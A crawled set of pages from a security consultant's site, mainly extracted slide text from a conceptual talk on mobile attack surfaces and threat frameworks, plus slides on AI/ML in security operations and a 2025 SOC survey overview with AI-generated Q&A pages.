o Threat Hunting o Use Case Development  Metrics o Introduction o Appropriate Audience o Reported o Steering Committee: Phase 3: Operations o Service Level Objectives o SOC Internal Health and Performance  Maturity o Introduction o SOC-CMM Walkthrough  Processes o Process list o Sequence Walk Through  Case Study o Phin Phisher o Insiders o Equifax --- ## Source: https://drive.google.com/file/d/1-I9ml_sVau0j2iRNsVL5R9jgfL5dYWEA/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1-I9ml_sVau0j2iRNsVL5R9jgfL5dYWEA/view?usp=drive_link]** Mobile Assessments: Attack Surface and Frameworks SOC-Class.com || Montance® LLC1Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed? 1 Christopher Crowley•Background: root on (Ultrix/VMS) employer systems at 15 years old (80s #CYBER) •Mobile: iPad, blackberry, nokia •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom… •Consultant, author of SOC- Class.com: Security Operations, Design, Build, Operate. Teaches SANS: SEC575, SEC511, SEC504 Montance® LLC 2 2 Mobile SOC-Class.com || Montance® LLC3Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed? 3 Mobile -defined•As distinguished from servers, workstations (laptops), internet of things (IoT), Control systems (SCADA), network infra (switch, router, etc.) -not those things •mobile’s typical OS: Android, iOS, Symbian, Blackberry OS, Windows Phone, and are •usually cellular capable (some wi-fi only) and •characterized by small form factor, diminished general compute capability, no service offerings (SMB, ssh, …) by default / design, ability to install user applications, with •a minimal interface, small screen, and no full keyboard. Montance® LLC 4 my OG NOKIA 6800 4 Mobile -architecture defined•A mobile device has firmware, an operating system, and applications installed, •and is capable of connecting to a multitude of networks (cellular, 802.11 WiFi) to transfer data over IP protocol, usually requiring a subscription cellular plan to provide connectivity over large area, and •allows the user to install additional applications. The device primarily focuses on communication functionality. These devices have become de facto personal computer, organizer, and assistant. Montance® LLC 5 https://www.independent.co.uk/life-style/gadgets-and-tech/news/there-are- officially-more-mobile-devices-than-people-in-the-world-9780518.html 5 Mobile -attack surface overview•Attack surface is the hardware itself (firmware, etc.) •multi-homed network connectivity •including WiFi, and Cellular networks as well as •multiple interface connectivity opportunities, like •wired (USB, Lightning) and RF (Bluetooth, NFC) •plus, the operating System of device, the •applications installed, and the •user operating the device. •I’ll cover attack surface details later in the talk… Montance® LLC 6 6 Threats SOC-Class.com || Montance® LLC7Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed? 7 Threats -taxonomy (B$,M$,T$) $B $M $T Montance® LLC 8•This adapted figure (ES.1 Threat Taxonomy) from US DOD Defense Science Board report Resilient Military Systems… •groups threats into ten, million, and billion dollar level resource capability clubs where: •$T: reuse vulnerabilities, •$M: discover vulnerabilities, •$B: create vulnerabilities. https://nsarchive2.gwu.edu/NSAEBB/NSAEBB424/docs/Cyber-081.pdf 8 Threats -C,I,A•Information Assurance protections define •Confidentiality, •Integrity, and •Availability. •Mobile devices risk harm through •disclosure of credentials and harm of reputation; •alteration of data causing errors and harm; plus •data destruction resulting in: extra work to recreate it, misfortune and errors, and inconvenience. Montance® LLC 9 9 Threats -privacy•Privacy can be violated through location information, microphone, camera, calendar, or •review of private conversations by unauthorized parties (government, employer, competitor, advertiser, spouse, …). •A lot of people find advertisement relevant to private conversations “creepy” but accept it. The phone has access to relevant areas of interest via data on the mobile device. •For example, most mobile applications allow the application vendor insight into the details of conversations. •While many messaging application vendors have moved to end-to- end encryption to protect content and remove themselves from the man-in-the-middle position, the application running on the mobile still sees the decrypted conversation and can use it to eavesdrop or advertise in a targeted fashion. Montance® LLC 10 10 Threats -financial•Financial fraud is in the billions of dollars per year, US FTC Consumer Sentinel Network Data Book 2019 •shows $1.9B USD total reported losses in 2019 in USA. •There are many ways to conduct this fraud: •theft of credentials (passwords, one-time tokens), •in-app purchase fraud, premium SMSs, •game assets theft and resale, cryptocurrency theft, •direct transfers within mobile banking apps, •extortion (CryptoLocker, Blackmail,…), and •resell access to device for organizational access or bot. Montance® LLC 11 https://www.ftc.gov/system/files/documents/reports/consumer-sentinel-network- data-book-2019/consumer_sentinel_network_data_book_2019.pdf 11 Threats -practically illustrated•There are many threats you can emulate. •One example talk illustrating an actor and associated infrastructure was Lookout’s Stealth Mango talk: Blaich, Flossman, Blackhat ’18. •Or the Azimuth/OffcellMandt, Solnich, Wang iPhone SEP reversing talk at Blackhat ’16. •So many good ones out there, really… You should consider which threats target you. Montance® LLC 12 12 Threats -your primary concern?•You as a person or organization may have specific concerns over mobile devices. •This depends on the data stored on the device. •Determining what data is present is a challenge. •Most people blend personal use with business use in a non-compartmentalized fashion, for the convenience of carrying one mobile device. •Applications can provide compartmentalization. Montance® LLC 13 13 Guidelines -list, checklist, how-to•Re-use the community information already available, such as: •Joshua Wright’s (SANS) Top 8 Steps for Mobile, •NISTs relevant Special Publications (SP), •Center for Internet Security (CIS) benchmarks, •OWASP Mobile Security Test Guide (MSTG), MASVS, •And ATT&CK mobile: matrices, tactics, techniques. •Some details about a couple of these follows. Montance® LLC 14 https://www.cisecurity.org/blog/new-release-cis-controls-mobile-companion-guide/ https://learn.cisecurity.org/benchmarks https://attack.mitre.org/matrices/mobile/ https://owasp.org/www-project-mobile-security-testing-guide/ https://github.com/OWASP/owasp-masvs 14 Assessments -explained•Performing assessment of a mobile device rarely is full assessment of all parts of the architecture. •If you intend to do a full assessment, it will take a lot of time and resources. •There are companies who are capable of this, and government agencies who are capable of this. They’re usually resource constrained, too. You’ll likely only assess selected aspects of the architecture in as much detail as you can afford. Montance® LLC 15 15 surface, threat, assessment•So, we’re stuck selecting the attack surface, relevant threat, and assessment methodology based on what concerns us most. The •attack surface is the portion of the architecture that may be vulnerable. •Threats T$,M$,B$ are all out there. •Assessment selection: planning to attack 4G crypto? Use a jailbroken iOS device to do run-time analysis of an app on an iPhone? Have those skillz& time? Montance® LLC 16 $B $M $T 16 Guidelines -ATT&CK•ATT&CK framework has matrices dedicated to mobile devices, and specifics on android and iOS •online at attack.mitre.org. Look at •Mobile Tactics, Techniques, and Mitigations, •Network Effects (TA0038): intercept/manipulate, •and Remote Service (TA0039): cloud/EMM/MDM. Montance® LLC 17 https://attack.mitre.org/matrices/mobile/ https://attack.mitre.org/tactics/TA0038/ https://attack.mitre.org/tactics/TA0039/ 17 Guidelines -CIS•CIS publishes Benchmarks for iOS and Android which indicate suggested configuration and considerations. •Contain specifications on how to securely configure devices with options at each operating system version level. These are •good things to crosswalk your configurations against to select controls. Montance® LLC 18 https://www.cisecurity.org/blog/new-release-cis-controls-mobile-companion-guide/ https://learn.cisecurity.org/benchmarks 18 Guidelines -MASVS•OWASP’s Mobile Application Security Verification Standard (MASVS) is multi-lingual direction for development of mobile applications and the testing/verification of those controls presented as an industry standard (like CIS). •It is synced to OWASP MSTG. •Specification guide on appropriate security. Montance® LLC 19 https://github.com/OWASP/owasp-masvs 19 Guidelines -MSTG•Mobile Security Testing Guide (MSTG) is how to test the same specifications as OWASP MASVS. It is •“…a comprehensive manual for mobile app security testing and reverse engineering…” •I suggest you tell your legal team “ application assessment” not “reverse engineering” when you •request permission to do “an assessment of the suitability of legally acquired software for use in a network I own, control or manage,” or something. Montance® LLC 20 https://owasp.org/www-project-mobile-security-testing-guide/ 20 Guidelines -MSTG -AAPG ExampleMontance® LLC 21Android App PenTestGuide(AAPG) is an implementation of MSTG. https://nightowl131.github.io/AAPG/ 21 Guidelines -NIST SPs•United States Department of Commerce’s National Institute of Standards and Technology (NIST) docs relevant to mobile devices include: •SP-1800-4: Mobile Device Security: Cloud and Hybrid Builds (2019), •SP-800-163: Vetting the Security of Mobile Applications (2019), •SP-800-101: Mobile Device Forensics (2014), •SP-800-124: Guidelines for Managing the Security of Mobile Devices in the Enterprise (2013), and •SP-800-164: Guidelines on Hardware-Rooted Security in Mobile Devices (2012). Montance® LLC 22 https://csrc.nist.gov/publications/detail/sp/800-124/rev-1/final https://csrc.nist.gov/publications/detail/sp/800-164/draft https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-101r1.pdf https://csrc.nist.gov/publications/detail/sp/800-163/rev-1/final https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.1800-4.pdf 22 Tools -assessments•Some great, some bad tools out there. •My opinion is a terrible tool in the hands of an effective tester likely will still yield good results, an excellent tool wielded by someone who knows little or has little time will yield poor results despite high potential for value. •Training, discipline, interest, adequate time and motivation are usually the difference. •A good list is awesome-mobile-security on github. Montance® LLC 23 23 Attack surface (Don’t get ahead of ourselves to think about how to exploit, that is forthcoming.) SOC-Class.com || Montance® LLC24Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed? 24 Attack surface -hardware•The hardware itself is subject to re-use or attack. Device can have flaws in memory, CPUs, storage, antennas: {cell, WiFi, nfc, bluetooth}, interface: {usb, mic/ear jack}. •The firmware to execute instructions on the hardware can be flawed. •Access (eg, chip-off) or leveraging flaws can lead to data access, execution of unauthorized code or exceptions leading to interruption of code execution. Montance® LLC 25 25 Attack surface -baseband (code)•The baseband processor is the processor which is responsible for the communication from a mobile device to the cellular network. •This processor (and distinct memory) runs a real time operating system (RTOS) to support the signaling functions required for radio frequency (RF) communications. •This OS and hardware can be flawed. Montance® LLC 26 https://en.wikipedia.org/wiki/Baseband_processor 26 Attack surface -secure / trusted device•Most modern computers and phones include a trusted platform module (TPM) or secure enclave processor (SEP) which is intended to alleviate the general processor (CPU) of sensitive operations and data in order to protect from a compromised CPU. •This includes cryptographic actions as well as crypto data storage. It may be biometric related. Or yet another separate biometric enclave may be used. •The SEP or TPM is itself targeted for attack, both hardware and its as specialized code. Montance® LLC 27 27 Attack surface -operating system•The operating system (OS) of the main phone can have exploitable flaws. •Flaws in this OS (or the boot components as in checkm8 flaw from axi0mX) such as: buffer overflows, use after free, off by one, … (see MITRE CWE for more) may exist. •Leading to control of the operating system and the majority of the data stored, but not SEP. Montance® LLC 28 https://github.com/axi0mX/ipwndfu https://iokit.racing/oneweirdtrick.pdf 28 Attack surface -applications•An app isn’t part of the OS. They’re usually written by a third party. The OS defends itself against the apps because they can attempt to exploit the OS. •Android uses a virtual machine, •iOS employs app whitelisting after code review (digital signature required prior to execution) & filesystem chroot. •Plus, apps can attack one another via inter-process communication (IPC) and unauthorized access to another app’s data if the OS doesn’t adequately enforce controls. •Apps store and collect tremendous amounts of data from the user and the device’s sensors such as: location, movement, contacts, messages, phone calls, images, voice and other ambient recordings, WiFiAPs nearby, … Montance® LLC 29 29 Attack surface -networks•Mobile devices often connect to networks managed by some third party such as a cellular provider or public/hotel/airport WiFi. •This network could be intentionally malicious, or could be negligent in security and become an unintentional delivery vector of malice. •Attacks include Man-in-the-middle, eavesdropping attacks, redirection of DNS, or injection of content through non-secure or insecure connections transiting network. Montance® LLC 30 https://bit.ly/crow-cell-eaves 30 Attack surface -networks: cellular•Attacks of cell and crypto protocols over the air (RF) •2G: uses single direction auth(net of device) and can be impersonated, plus its crypto is broken. (Barkan, 2008) •3G/4G uses bi-directional auth. Some attacks published, in practice it’s secure for use but there may be opportunities for downgrade or $M or $B actors to undermine crypto. •aLTEr(2019) is an attack for MITM position, modified DNS. •The infrastructure of the cellular network (the carrier) has an opportunity to attack all traffic. This could be malice (eg.national carrier directed by government), or compromise through negligent controls management, or performed by an insider. •A malicious peer cell network can misrepresent device presence using SS7 to also receive messages and calls. Or SIM swapping attacks. Montance® LLC 31 TY -JOUR AU -Barkan, Elad AU -Biham, Eli AU -Keller, Nathan PY -2008/07/01 SP -392 EP -429 T1 -Instant Ciphertext-Only Cryptanalysis of GSM Encrypted Communication VL -21 DO -10.1007/s00145-007-9001-y JO -Journal of Cryptology ER - https://alter-attack.net/ https://usa.kaspersky.com/blog/ss7-hacked/17099/ https://www.theguardian.com/technology/2016/apr/19/ss7-hack-explained-mobile- 31 phone-vulnerability-snooping-texts-calls https://krebsonsecurity.com/2018/11/busting-sim-swappers-and-sim-swap-myths/ 31 Attack surface -networks: WiFi•WiFiis much weaker than cellular networks. •ARP poisoning and other trivial MITM attacks, •open network (no-crypto) evil twin type attacks, •or crypto attacks against WEP or WPA/WPA2 with poor implementation (passwords like Spring2020) or persistent effort (WPA PSK attack with GPU enabled) to undo the network crypto and association restrictions. Once cracked, previously encrypted communication can often be decrypted. •802.11 management frame are usually unencrypted. Montance® LLC 32 32 Attack surface -networks: bluetooth•Bluetooth is often used to associate a peripheral with the mobile device. This is an •opportunity to access device data and inject keystrokes (or gestures), also an •opportunity to file share, or transfer contacts. •Association within Bluetooth protocol is intended to diminish this attack, some •flawed implementations have been reported. Montance® LLC 33 33 Attack surface -networks: NFC•NFC is proximity sharing, within centimeters. •NFC is frequently used for contactless payment. This draws the attention of financial fraud actors. •Protocol reverse engineering attacks exist to overcome proximity, for example, NFCProxy. •Standing close to a person’s phone, can I relay NFC to a nearby Point of Sale to buy something? Montance® LLC 34 https://www.defcon.org/images/defcon-20/dc-20-presentations/Lee/DEFCON-20- Lee-NFC-Hacking.pdf https://salmg.net/2018/12/01/intro-to-nfc-payment-relay-attacks/ 34 Attack surface –data storage•Data storage on the device is subject to access. •The devices physical storage can be taken off the device for access to the data in some cases. •All associated cloud, infrastructure (and extrastructure(organization systems in external infrastructure) servers used for data storage are potential vectors of attack. Montance® LLC 35 35 Attack surface -crypto•Many of the protections we rely upon depend upon cryptography to provide protection. •Encrypting data increases the computational expense of recovering data. It does not render the data unrecoverable! I read this phrase in #cyber media all the time and feel repulsion every time I see that blatant misrepresentation. Hashing renders computationally infeasible to recover, but algorithm strengths vary. 30 years ago, Data Encryption Standard (DES) was badass. •Remember heartbleed? Why don’t you have as clear a memory of the “gotofail” flaw? Weird CVE release order. https://www.feistyduck.com/ssl-tls-and-pki-history/ Montance® LLC 36 36 Attack execution Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC37$B $M $T 37 Attack execution -physical possession•Physically holding the device is an opportunity for attackers to see data or to introduce configuration changes or an exploit. •“Evil maid” attack: Trusted/authorized insider leverages short duration access to view/change. •Theft & return: How relieved you are to get your lost phone back? What if loss event was crafted? •Cross a border? All devices subject to inspection. Montance® LLC 38 This is definitely not what happens in the hotel. It’s purely a work of fiction: https://www.youtube.com/watch?v=AeOwrxBrvqI 38 Execution - supply chain introduction•Similar to physical access, the supply chain itself could be affected (by $M or $B) to deliver a (targeted) pre-compromised device. Target the •hardware manufacturer, cell provider, OS development vendor, application store, or development framework (eg, xCodeGhost). •Post sale/delivery opportunities exist, too. For example, cellular networks, or app stores could be leveraged to send malicious updates or apps. Montance® LLC 39 https://arstechnica.com/information-technology/2015/09/apple-scrambles-after-40- malicious-xcodeghost-apps-haunt-app-store/ 39 Execution -trusted connected device•The mobile device is frequently connected to other devices, for example, power charging. •If a laptop is used to make backups, there’s a trust authorized for access to data. This could be abused for data theft or installation of software. •Similarly, MDM/EMM establishes trust for management. A compromised MDM was recently used to install cryptolockeron devices. •Cloud assets are trusted connected devices. Montance® LLC 40 https://www.bleepingcomputer.com/news/security/hackers-breach-company-s- mdm-server-to-spread-android-malware/ 40 Attack execution -remote•Mobile devices receive unsolicited communication from untrusted third parties via SMS/MMS. •Stagefrightflaw was remotely exploitable via crafted MMS message. The exploit occurred when the OS library (libstagefright) attempted to create the thumbnail to display to user. No user action required. •Display of WiFi access points triggered exploit (crash, not control) of iOS in the truetype(and blackdot). •Trueremote would require no user action whatsoever. Basically SMS/MMS, cellular baseband flaw, or with proximity to device in the case of a Bluetooth, WiFi, or NFC flaw. Montance® LLC 41 https://www.blackhat.com/docs/us-15/materials/us-15-Drake-Stagefright-Scary- Code-In-The-Heart-Of-Android.pdf https://ios.gadgethacks.com/how-to/wifi-prank-use-ios-exploit-keep-iphone-users- off-internet-0162254/ https://www.theverge.com/2020/4/24/21234191/apple-iphone-crash-text-bug-ios- 13-problem 41 Attack execution -social engineeringMontance® LLC 42•Enticing the user to perform initial action to start off an exploit (or series of exploits) is common. •Pegasus targeted iOS with a message to click link. •($T,$M,$B) use this because the mobile device is largely used as a client side device only, and substantial effort has gone into protecting the attack surface components which process untrusted data. •Problem is most people click all the things without any regard whatsoever to safety, or are easily duped. CVE-2016-4655: Citizen Lab and Lookout https://support.apple.com/en-us/HT207107 42 @CCrowMontance•This slide deck available: https://mgt517.com/cell as are many other decks up one folder in Public. •Stay safe, assess and use your mobile devices with an informed view of the benefits and risks… •I truly want to hear your thoughts on this. Tweet? Montance® LLC 43 43 --- ## Source: https://drive.google.com/file/d/1BiW5xM3_uZ2kITqs8QY3OJzJtoCR2VDA/view **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/1BiW5xM3_uZ2kITqs8QY3OJzJtoCR2VDA/view]** --- ## Source: https://drive.google.com/file/d/1h5uwIo5r2xsrTwm8e_WHROdI9oXlsuM4/view **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/1h5uwIo5r2xsrTwm8e_WHROdI9oXlsuM4/view]** --- ## Source: https://drive.google.com/file/d/1QXiKwrHgJ1TcFWz75UITB8EzOIHU-xvb/view **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/1QXiKwrHgJ1TcFWz75UITB8EzOIHU-xvb/view]** --- ## Source: https://montance.com/questions.php?id=187 [![pdf](content/images/icons/pdf.svg) 2026 SANS SOC Survey Insights: A Decade of Evolution in Cyber Defense](https://www.sans.org/webcasts/2026-sans-soc-survey-insights?soc-survey=montance) 2026 SANS SOC Survey Insights: A Decade of Evolution in Cyber Defense Join us for the exclusive release of the 10th annual SANS SOC Survey — the definitive global benchmark on how Security Operations Centers are evolving in a rapidly shifting cyber threat landscape. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=189 [![pdf](content/images/icons/pdf.svg) Integrating AI/ML into SOC Detection Engineering: Building Smarter, Faster Defenses](https://www.sans.org/webcasts/security-central-2026-integrating-aiml-into-soc-detection-engineering) Integrating AI/ML into SOC Detection Engineering: Building Smarter, Faster Defenses Discover how to effectively incorporate AI and machine learning into your SOC detection engineering workflows. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1gm74iGoURnWQtBAwCfCRyFnhfRRdApMM/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1gm74iGoURnWQtBAwCfCRyFnhfRRdApMM/view?usp=sharing]** Christopher Crowley•Consultant: Montance® •SOC-Class.com Design, Build, Operate and Mature your SOC. •SOC-Survey.com: 2017-2026 •SANS Senior Instructor •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom… Montance® LLC 1 References, Credit , Download•First, slide deck available at: https://montance.com/pres Montance® LLC 2 Artificial Intelligence: Definition SOC-Class.com || Montance® LLC3Copyright 2022 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Cyber AI –Narrow Circumstances•The “narrow” definitionof AI •AI system designed to solve one specific problem •Versus the General or Strong AI •More about this on the next slide •Currently an abundance of misinformation, unreasonable expectations, and wasted effort •Experimentation requires patience •Strong AI is coming some day, stay tuned… Montance® LLC 4 General AI (Russell/ Norvig)•Efficiencies in problem solving •Operation within boundaries and constraints •Capabilities of knowledge representation •Natural language processing -human direction in human native manner •Learning based on activity, experimentation, and objectives •Observation (visual, auditory) •Activity (often robotics) Montance® LLC 5 AI Techniques & Uses•Learning •Reasoning •E.g., Expert systems •Knowledge •Representation and management •Planning •Strategic / Tactical Montance® LLC 6•Probabilities •E.g., Bayesian •Search / optimization •E.g., Swarming •Control systems •Neural Networks •Complex interactions •Entertainment Human Component•In cybersecurity, there is (and will continue to be) a need to integrate the AI/ML system with the human analyst and their workflows •AI/ML makes substantial use of suppression of information, and arriving at the right answer •Analyst needs guidance from that system •Further, inclusion of human lessons learned into the AI/ML system could hasten improvement Montance® LLC 7 Machine Learning•Machine Learning (ML) is specifically concerned with tuning algorithms by assessment of data •Iterative algorithmic improvement of accuracy •The algorithm may be responsible to perform feature extraction to determine optimal elements to assess •Then decide on most important way to arrive at an accurate decision Montance® LLC 8 Hidden Layer•The human analyst wants to see how the machine came to its assessment, but… •The Neural Network (NN) leverages a hidden layer of calculation, usually represented visually in description of the network as a node •There are multiple types of layers •Multiple terms to describe the layers and their interactions, not going to cover this here •Algorithm design optimizes type, use, dimension,… Montance® LLC 9 Supervised vs Unsupervised•Supervised machine learning makes use of a ground truth of comparison •Example, email corpus with known “Spam” and known “Ham” emails based on expert assessment •Unsupervised ML has no ground truth (no labels) in the training data •Hybrid uses both •Intention is to develop algorithm that’s applicable to new data Montance® LLC 10 Deep Learning (ML Distinction)•Deep Neural Network (DNN) / Deep Learning (DL) is a type of machine learning which makes use of multiple layers of information processing, selecting varying feature sets to produce a more robust assessment •Unsupervised, supervised, and hybrid approaches are in use currently •Feature extraction is typical in the first few layers of the DL; basicallywhat to focus on Montance® LLC 11 Example Deep Learning•An autoencoder is an algorithm taking input and developing the same result as output •This may seem pointless, but consider noise removal in an audio track •A record player has audible cracks and pops resulting from the sound transmission between the platter and the needle •Develop an algorithm for “cleaning” the sound •Application to cyber: identify attack relevant action Montance® LLC 12 GPT•Generative Pretrained Transformer •ChatGPT blew up on the scene, Nov. 2022 •Attention Is All You Need –2017 •Self-attention •Cross-attention •BERT •Encode-only •Decode-only Montance® LLC 13 Efficiencies in Problem Solving•Malware assessment (malicious/benign) •Unsolicited email filtering •Current common use scenario •Effective adversary interruption strategies •Apply game theory learning algorithm to MITRE ATT&CK® to assert the most important interruptions in your environment •Analysts currently use ATT&CK® this way, an AI could propose/perform effective containment Montance® LLC 14 Boundary / Constrained Operations•AI for comparing damage assessment from interruption of adversary (contain system) and adversary accomplishing action on objectives (wait for confirmation) •Alternate containment options to avoid operational impact •Legal constraints in varying jurisdictions in IR •Optimal data for investigations, alternate data when optimal data is unavailable Montance® LLC 15 Knowledge Representation•IT systems valuation with multiple stakeholders and data of varying sensitivity •We currently deploy “knowledge management” systems to store information for cyber analysts •Threat actor characterization •Threat Intelligence as a likely adversary profile in addition to suggesting likely indicators •Analytical methodology confidence depiction •Analysis of competing hypothesis, for example Montance® LLC 16 Natural Language Processing•Chatbot driven interaction •Chatbots can relieve an analyst from the unnatural strain (long-term overuse injuries) of typing •Cyber analysts learn the syntax of programming and query languages to provide appropriate direction to computers. Why not talk to it? •Because to date, there’s inadequate fidelity when absorbing natural language direction Montance® LLC 17 Experimentation and Objectives•WOPR comes to mind here •A cultural reference •Practical cyber context for training and developing cyber capability in Analysts •Automated pen test modeling and impact assessment for available pathways •Simulation of attacker capability without actually testing the production network Montance® LLC 18 Observation (visual, auditory)•In Cyber we tend to focus on visibility but there are also observability concerns •Ability to discern subtle changes usually escapes most analysts because of the volume of noise, human memory (and recall) constraints •Aforementioned autoencoders could help here •ML helps discern details and identify meaningful differences Montance® LLC 19 Activity (often robotics)•Application of standard move-add-change actions in support of reactive cyber activity •E.g., deploying authentication challenges in suspicious circumstances •Fraud suspicion in financial sector results in notifications and transaction refusal •Pause admin authentication session to mandate an out-of-band verification based on behavioral anomaly of authentication attempt Montance® LLC 20 AI/ML in Cybersecurity SOC-Class.com || Montance® LLC21Copyright 2022 Montance® LLC -All Rights Reserved. All Wrongs Reversed? --- ## Source: https://montance.com/questions.php?id=188 [![pdf](content/images/icons/pdf.svg) Using MITRE ATT&CK® as an Operational Framework](https://www.sans.org/webcasts/using-mitre-attck-operational-framework-prioritizing-testing-sustaining-defense?utm=montance&socclass=yes) Using MITRE ATT&CK® as an Operational Framework The MITRE ATT&CK framework has become a cornerstone for understanding, mapping, and improving cybersecurity defenses, but turning that knowledge into measurable results is where many teams struggle. Cybersecurity practitioners today operate in an environment defined by constant change, incomplete information, and real operational consequences. New adversary techniques emerge faster than controls can be deployed, tools are added faster than they can be fully understood, and defenders are expected to explain why certain gaps existed and why specific tradeoffs were made. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=138 [![pdf](content/images/icons/pdf.svg) Key Findings 2025 SOC Survey.pdf](https://drive.google.com/file/d/1zPYbWbBaUZu1KCOFCO2Z4Ql1ZrAU4MS9/view?usp=drive_link) Key Findings 2025 SOC Survey Projected or actual key findings regarding the state of SOCs in 2025. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the top reported barrier to SOC success in the 2025 survey? A: Budget constraints and lack of skilled staff. * Q: What is the trend regarding 'Cloud Monitoring'? A: A massive shift towards cloud-native monitoring tools as on-prem SIEMs struggle with volume. * Q: What is the status of 'Automation' adoption? A: It has moved from 'nice to have' to 'critical necessity' for handling alert volume. * Q: What is the retention rate trend? A: Retention remains a challenge due to high burnout and competitive salaries. * Q: What is the role of 'AI/ML' in 2025 SOCs? A: Widely adopted for anomaly detection and alert prioritization, but not replacing analysts. * Q: What is the 'Hybrid SOC' model? A: The dominant model, combining internal staff with MSSP/MDR support. * Q: What is the focus on 'Resilience'? A: A shift from 'prevention-first' to 'detection-and-recovery' mindset. * Q: How has 'Remote Work' impacted SOCs? A: Permanent shift to distributed SOC teams and increased focus on endpoint/identity security. * Q: What is the 'Platform Approach'? A: Consolidating point solutions into integrated platforms (e.g., XDR). * Q: What is the key metric for 2025? A: Mean Time to Contain (MTTC) is becoming more important than MTTD. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1zPYbWbBaUZu1KCOFCO2Z4Ql1ZrAU4MS9/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1zPYbWbBaUZu1KCOFCO2Z4Ql1ZrAU4MS9/view?usp=drive_link]** 2025 SOC Survey Overview Copyright 2025 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC1 Christopher Crowley•Consultant: Montance® •SOC-Class.com Design, Build, Operate and Mature your SOC. •SOC-Survey.com: 2017-2025 •SANS Senior Instructor •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom… Montance® LLC 2 SOC Survey Background SOC-Class.com || Montance® LLC3Copyright 2025 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Resources•Started in 2017, related to the SOC Summit •soc-survey.comforhistoricalreference •Starting in 2020, when I ran the survey on my own, I have released the deidentified data Montance® LLC 4 Resources•Provide a jupyterlab notebook and the .xlsx file •Notimetogetinto thistonight, but it’s there if you want to explore on your own Montance® LLC 5 Respondent CompositionMontance® LLC 6 SOC Survey Findings SOC-Class.com || Montance® LLC7Copyright 2025 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Key Findings Montance® LLC 8 Key FindingsMontance® LLC 9 Capabilities SOC-Class.com || Montance® LLC10Copyright 2025 Montance® LLC -All Rights Reserved. All Wrongs Reversed? CapabilitiesMontance® LLC 11•Question is multivariate, asking if done and how: •Orange: In; Blue: Out, Green: Both •Interestinginference:of peoplereporting,there’s littlevariationinwhat’s done: least/most: 415 / 438 Top Capabilities•Alert, IR, Vuln assessment are top 3 •Top items tend to be performed internally •Single exception to that is pen-testing Montance® LLC 12 Bottom Capabilities•Self-assessed maturity, and red/purple least common capabilities •Assomeonewhodoesmaturityassessments of SOCs, I advocateforongoing self-assessment •Digression into why this doesn’t work  Montance® LLC 13 The RestMontance® LLC 14 Staff SOC-Class.com || Montance® LLC15Copyright 2025 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Technical Skill Deficit•What are managers looking for? •Alotmorethanjusttechnology, but that’s important Montance® LLC 16 Management Support•From the SOC’s perspective, it seems like Montance® LLC 17 Retention•Feeling like we’re improving •Money is important, … •Senseof meaning Montance® LLC 18 Architecture SOC-Class.com || Montance® LLC19Copyright 2025 Montance® LLC -All Rights Reserved. All Wrongs Reversed? SOC Architecture•How are we implementing the SOC? Montance® LLC 20 Technology SOC-Class.com || Montance® LLC21Copyright 2025 Montance® LLC -All Rights Reserved. All Wrongs Reversed? GPA (Will Drill Down)Montance® LLC 22 GPA:Top PerformersMontance® LLC 23•EDR is consistently the top (last 3 years) •Willcrosswalk to deployment state in 2 slides •Snippedtheoutputfromthejupyterlabimage, not report GPA:Bottom PerformersMontance® LLC 24•Updated AI/ML categories for this year: response and GPT lowest satisfaction •Notinthebottomfive:AI/MLDetection engineering (2.28, 6thlowest) GPA vs Deployment StateMontance® LLC 25 Thank you!Questions? Christopher Crowley LinkedIn connect: https://mgt517.com/linkedin Many other presentations: https://montance.com/pres --- ## Source: https://montance.com/questions.php?id=186 [![pdf](content/images/icons/pdf.svg) Cybersecurity Today TV - Cybersecurity Operations Today: What's Working, What's Not](https://soc-survey.com) Cybersecurity Operations Today Presentation by Christopher Crowley and Jim Wiggins (2025-07-25) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=182 [![pdf](content/images/icons/pdf.svg) SANS 